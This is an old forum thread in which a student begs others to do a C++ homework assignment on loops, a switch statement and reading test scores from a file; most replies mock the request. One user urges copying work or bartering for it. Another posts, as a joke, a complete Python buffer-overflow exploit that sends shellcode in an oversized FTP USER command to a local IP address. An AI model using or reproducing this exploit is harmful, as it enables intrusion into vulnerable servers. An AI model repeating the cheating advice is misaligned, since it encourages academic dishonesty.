# C++ Help!!!!

**URL:** https://forums.speedlife.net/t/c-help/75689
**Category:** NYSpeed Off Topic
**Created:** [November 3, 2009, 9:37pm UTC](https://forums.speedlife.net/t/c-help/75689 "2009-11-03T21:37:50Z")
**Posts on this page:** 20
**Page:** 1

<div class="post-metadata">

### Author: ![PhoeNixGold\_284](https://avatars.discourse-cdn.com/v4/letter/p/f9ae1b/32.png) [@PhoeNixGold\_284](https://forums.speedlife.net/u/PhoeNixGold_284)
#### Post date: [November 3, 2009, 9:37pm UTC](https://forums.speedlife.net/t/c-help/75689/1 "2009-11-03T21:37:50Z")

</div>

I have no idea what to do!!! ![http://www.caraudio.com/forum/images/smilies/confused.gif](http://www.caraudio.com/forum/images/smilies/confused.gif), Due in the morning. If anyone could help out or just do part of the problems, so I don’t fail the whole thing, I would greatly appreciate it.

(1a) Use a for loop to add the positive odd numbers less than 100. Output the total.

(1b) Use a while loop to add the positive even numbers less than 50. Output the total

(1c) Use a nested loop structure to compute and print the powers from 1 to 10 of the numbers 2, 3, 4, 5, 6, 7.

(1d) Assume you have the following variable char accountType;  
which can have an upper or lower case letter ( c or C for checking account) ( s or S for savings account)  
( l or L for loan account).  
Write a switch statement that outputs an appropriate message to show the value of the current account type, and prints a reasonable message if the account type is not one of the three types given in this problem.

(2) Write a program in C++ that does the following using file input and common output  
• read in the number of students in the class  
• read in the number of test scores that each student should have completed  
• repeat for each student  
read the specified number of student scores  
compute the average of a student’s scores  
determine the letter grade earned by a student using the following criteria  
A average between 90 to 100  
B average greater than or equal to 80 but less than 90  
C average greater than or equal to 70 but less than 80  
U unsatisfactory if less than 70  
output a student’s scores, average and letter grade appropriately labeled

Sample output expected from the program:  
Student 1: Average = 95.2 Grade = A  
Student 2: Average = 88.3 Grade = B  
Student 3: Average = 75.2 Grade = C  
Student 4: Average = 55.2 Grade = U

// you can assume the correct header files are included  
// assumption – valid and complete data is stored in a file called scores.txt  
int numOfStudents; // identifies the number of student data lines in file  
int numOfscores; // identifies the number of test scores for each student  
ifstream inData;  
inData.open(“scores.txt”);  
inData \>\> numOfStudents;  
inData \>\> numOfScores;  
// remainder of the data in the file is the appropriate number of student scores

---

<div class="post-metadata">

### Author: ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)
#### Post date: [November 4, 2009, 3:58am UTC](https://forums.speedlife.net/t/c-help/75689/2 "2009-11-04T03:58:08Z")

</div>

Why would anyone help you?

basic loop functions are one of the core aspects of programming…

---

<div class="post-metadata">

### Author: ![Tunerfreak](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/tunerfreak/32/7427_2.png) [@Tunerfreak](https://forums.speedlife.net/u/Tunerfreak)
#### Post date: [November 4, 2009, 5:05am UTC](https://forums.speedlife.net/t/c-help/75689/3 "2009-11-04T05:05:09Z")

</div>

this is an extremely easy project, hardest part i would say is reading in the file. let me guess you go to ECC?

---

<div class="post-metadata">

### Author: ![drvnkd](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/drvnkd/32/109615_2.png) [@drvnkd](https://forums.speedlife.net/u/drvnkd)
#### Post date: [November 4, 2009, 5:15am UTC](https://forums.speedlife.net/t/c-help/75689/4 "2009-11-04T05:15:27Z")

</div>

I remember some of that stuff…

But, I would have to go find my old floppy disk’s to see my old code.

---

<div class="post-metadata">

### Author: ![JayS](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/jays/32/15375_2.png) [@JayS](https://forums.speedlife.net/u/JayS)
#### Post date: [November 4, 2009, 5:28am UTC](https://forums.speedlife.net/t/c-help/75689/5 "2009-11-04T05:28:47Z")

</div>

These are all basic building blocks of programming.

As a software engineer who has to deal with people who skated through school by getting others to do there work, good luck. Maybe next time you should pay attention and read the book.

---

<div class="post-metadata">

### Author: ![ubengineering](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/ubengineering/32/5171_2.png) [@ubengineering](https://forums.speedlife.net/u/ubengineering)
#### Post date: [November 4, 2009, 5:50am UTC](https://forums.speedlife.net/t/c-help/75689/6 "2009-11-04T05:50:19Z")

</div>

lololo i cheated so hard in this course, sum kid did all of my programs and i did all of his physics, A’s for everybody, just lookin at that shits makes me wanna kill myself

---

<div class="post-metadata">

### Author: ![boxxa](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/boxxa/32/5045_2.png) [@boxxa](https://forums.speedlife.net/u/boxxa)
#### Post date: [November 4, 2009, 5:55am UTC](https://forums.speedlife.net/t/c-help/75689/7 "2009-11-04T05:55:10Z")

</div>

Wow. If you can’t figure out basic stuff you should change majors and not fill the IT industry with more useless people like Jack.

---

<div class="post-metadata">

### Author: ![ubengineering](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/ubengineering/32/5171_2.png) [@ubengineering](https://forums.speedlife.net/u/ubengineering)
#### Post date: [November 4, 2009, 6:03am UTC](https://forums.speedlife.net/t/c-help/75689/8 "2009-11-04T06:03:35Z")

</div>

> [@boxxa](#):
>
> Wow. If you can’t figure out basic stuff you should change majors and not fill the IT industry with more useless people like Jack.

they make everybody in engineering take this shit, even if it isnt your major, the c++ course i took will be the last c++ i ever see, maybe hes a nonmajor taking the course, so he sucks/isnt interested

what the op needs to do is find a friend that can do this shit so you can copy, or just a stranger willing to barter for other workq

---

<div class="post-metadata">

### Author: ![boxxa](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/boxxa/32/5045_2.png) [@boxxa](https://forums.speedlife.net/u/boxxa)
#### Post date: [November 4, 2009, 6:15am UTC](https://forums.speedlife.net/t/c-help/75689/9 "2009-11-04T06:15:01Z")

</div>

Ya copy at any reasonable school and you will find yourself kicked out of the class and maybe the major.

If you cant figure out simple programming you def are not smart enough to cheat at programming. I do miss people like this tho. Was paid a ton each semester to do Java and C++ projects for them.

---

<div class="post-metadata">

### Author: ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)
#### Post date: [November 4, 2009, 6:19am UTC](https://forums.speedlife.net/t/c-help/75689/10 "2009-11-04T06:19:17Z")

</div>

lol @ reading in a file, being hard

at least try the problem and post the code/compile errors

---

<div class="post-metadata">

### Author: ![drvnkd](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/drvnkd/32/109615_2.png) [@drvnkd](https://forums.speedlife.net/u/drvnkd)
#### Post date: [November 4, 2009, 6:22am UTC](https://forums.speedlife.net/t/c-help/75689/11 "2009-11-04T06:22:59Z")

</div>

I used CIS classes at buff state for a minor so that I did not have to take crappy general classes. Have not used it since. The closest I came was troubleshooting C microprocessor code. Although, the thought process for logic and loop control is pretty helpful no matter the language of choice so you should at least try and DIY.

---

<div class="post-metadata">

### Author: ![boxxa](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/boxxa/32/5045_2.png) [@boxxa](https://forums.speedlife.net/u/boxxa)
#### Post date: [November 4, 2009, 6:30am UTC](https://forums.speedlife.net/t/c-help/75689/12 "2009-11-04T06:30:51Z")

</div>

> [@boardjnky4](#):
>
> lol @ reading in a file, being hard
> 
> at least try the problem and post the code/compile errors

#include \<iostream\>  
#include \<string\>  
using namespace std;

int main() {

}

Now what?

---

<div class="post-metadata">

### Author: ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)
#### Post date: [November 4, 2009, 6:32am UTC](https://forums.speedlife.net/t/c-help/75689/13 "2009-11-04T06:32:25Z")

</div>

C++

?

---

<div class="post-metadata">

### Author: ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)
#### Post date: [November 4, 2009, 6:32am UTC](https://forums.speedlife.net/t/c-help/75689/14 "2009-11-04T06:32:27Z")

</div>

> [@boxxa](#):
>
> #include \<iostream\>  
> #include \<string\>  
> using namespace std;
> 
> int main() {
> 
> **printf(“Please Do not fail me!!!”);**
> 
> }

it’s worth a shot!

---

<div class="post-metadata">

### Author: ![LZ1](https://avatars.discourse-cdn.com/v4/letter/l/7ab992/32.png) [@LZ1](https://forums.speedlife.net/u/LZ1)
#### Post date: [November 4, 2009, 6:35am UTC](https://forums.speedlife.net/t/c-help/75689/15 "2009-11-04T06:35:49Z")

</div>

Check out this python leetness

#!/usr/bin/python

import socket  
shellcode=("\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"  
“\x97\xce\xee\x83\xeb\xfc\xe2\xf4\x39\xfd\x25\xa3\x2d\x6e\x31\x11”  
“\x3a\xf7\x45\x82\xe1\xb3\x45\xab\xf9\x1c\xb2\xeb\xbd\x96\x21\x65”  
“\x8a\x8f\x45\xb1\xe5\x96\x25\xa7\x4e\xa3\x45\xef\x2b\xa6\x0e\x77”  
“\x69\x13\x0e\x9a\xc2\x56\x04\xe3\xc4\x55\x25\x1a\xfe\xc3\xea\xc6”  
“\xb0\x72\x45\xb1\xe1\x96\x25\x88\x4e\x9b\x85\x65\x9a\x8b\xcf\x05”  
“\xc6\xbb\x45\x67\xa9\xb3\xd2\x8f\x06\xa6\x15\x8a\x4e\xd4\xfe\x65”  
“\x85\x9b\x45\x9e\xd9\x3a\x45\xae\xcd\xc9\xa6\x60\x8b\x99\x22\xbe”  
“\x3a\x41\xa8\xbd\xa3\xff\xfd\xdc\xad\xe0\xbd\xdc\x9a\xc3\x31\x3e”  
“\xad\x5c\x23\x12\xfe\xc7\x31\x38\x9a\x1e\x2b\x88\x44\x7a\xc6\xec”  
“\x90\xfd\xcc\x11\x15\xff\x17\xe7\x30\x3a\x99\x11\x13\xc4\x9d\xbd”  
“\x96\xd4\x9d\xad\x96\x68\x1e\x86\x05\x3f\xd9\xe4\xa3\xff\xb4\x84”  
“\xa3\xc4\x47\x0f\x50\xff\x22\x17\x6f\xf7\x99\x11\x13\xfd\xde\xbf”  
“\x90\x68\x1e\x88\xaf\xf3\xa8\x86\xa6\xfa\xa4\xbe\x9c\xbe\x02\x67”  
“\x22\xfd\x8a\x67\x27\xa6\x0e\x1d\x6f\x02\x47\x13\x3b\xd5\xe3\x10”  
“\x87\xbb\x43\x94\xfd\x3c\x65\x45\xad\xe5\x30\x5d\xd3\x68\xbb\xc6”  
“\x3a\x41\x95\xb9\x97\xc6\x9f\xbf\xaf\x96\x9f\xbf\x90\xc6\x31\x3e”  
“\xad\x3a\x17\xeb\x0b\xc4\x31\x38\xaf\x68\x31\xd9\x3a\x47\xa6\x09”  
“\xbc\x51\xb7\x11\xb0\x93\x31\x38\x3a\xe0\x32\x11\x15\xff\x3e\x64”  
“\xc1\xc8\x9d\x11\x13\x68\x1e\xee”)

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)  
ret = “\x53\x93\x42\x7e” #JMP ESP in user32.dll SP3  
buffer = ‘\x41’ \* 485 + ret + ‘\x90’ \* 20 + shellcode + ‘\xCC’ \* 1173  
print "  
Sending"  
s.connect((‘192.168.23.102’,21))  
data = s.recv(1024)  
s.send(‘USER ’ +buffer+’  
')  
s.close()

---

<div class="post-metadata">

### Author: ![boxxa](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/boxxa/32/5045_2.png) [@boxxa](https://forums.speedlife.net/u/boxxa)
#### Post date: [November 4, 2009, 6:46am UTC](https://forums.speedlife.net/t/c-help/75689/16 "2009-11-04T06:46:37Z")

</div>

> [@boardjnky4](#):
>
> it’s worth a shot!

:lol:

---

<div class="post-metadata">

### Author: ![JayS](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/jays/32/15375_2.png) [@JayS](https://forums.speedlife.net/u/JayS)
#### Post date: [November 4, 2009, 6:48am UTC](https://forums.speedlife.net/t/c-help/75689/17 "2009-11-04T06:48:27Z")

</div>

:lol: at LZ and his stack overflows.

---

<div class="post-metadata">

### Author: ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)
#### Post date: [November 4, 2009, 6:50am UTC](https://forums.speedlife.net/t/c-help/75689/18 "2009-11-04T06:50:49Z")

</div>

> [@JayS](#):
>
> :lol: at LZ and his stack overflows.

which most UPDATED kernels aren’t even vulnerable to (at least not in that form)

---

<div class="post-metadata">

### Author: ![JayS](https://yyz2.discourse-cdn.com/flex034/user_avatar/forums.speedlife.net/jays/32/15375_2.png) [@JayS](https://forums.speedlife.net/u/JayS)
#### Post date: [November 4, 2009, 6:54am UTC](https://forums.speedlife.net/t/c-help/75689/19 "2009-11-04T06:54:56Z")

</div>

> [@boardjnky4](#):
>
> which most UPDATED kernels aren’t even vulnerable to (at least not in that form)

Well, this is Buff State right?

---

<div class="post-metadata">

### Author: ![boardjnky4](https://avatars.discourse-cdn.com/v4/letter/b/96bed5/32.png) [@boardjnky4](https://forums.speedlife.net/u/boardjnky4)
#### Post date: [November 4, 2009, 6:57am UTC](https://forums.speedlife.net/t/c-help/75689/20 "2009-11-04T06:57:03Z")

</div>

> [@JayS](#):
>
> Well, this is Buff State right?

lol

[Next page](https://forums.speedlife.net/t/c-help/75689.md?page=2)
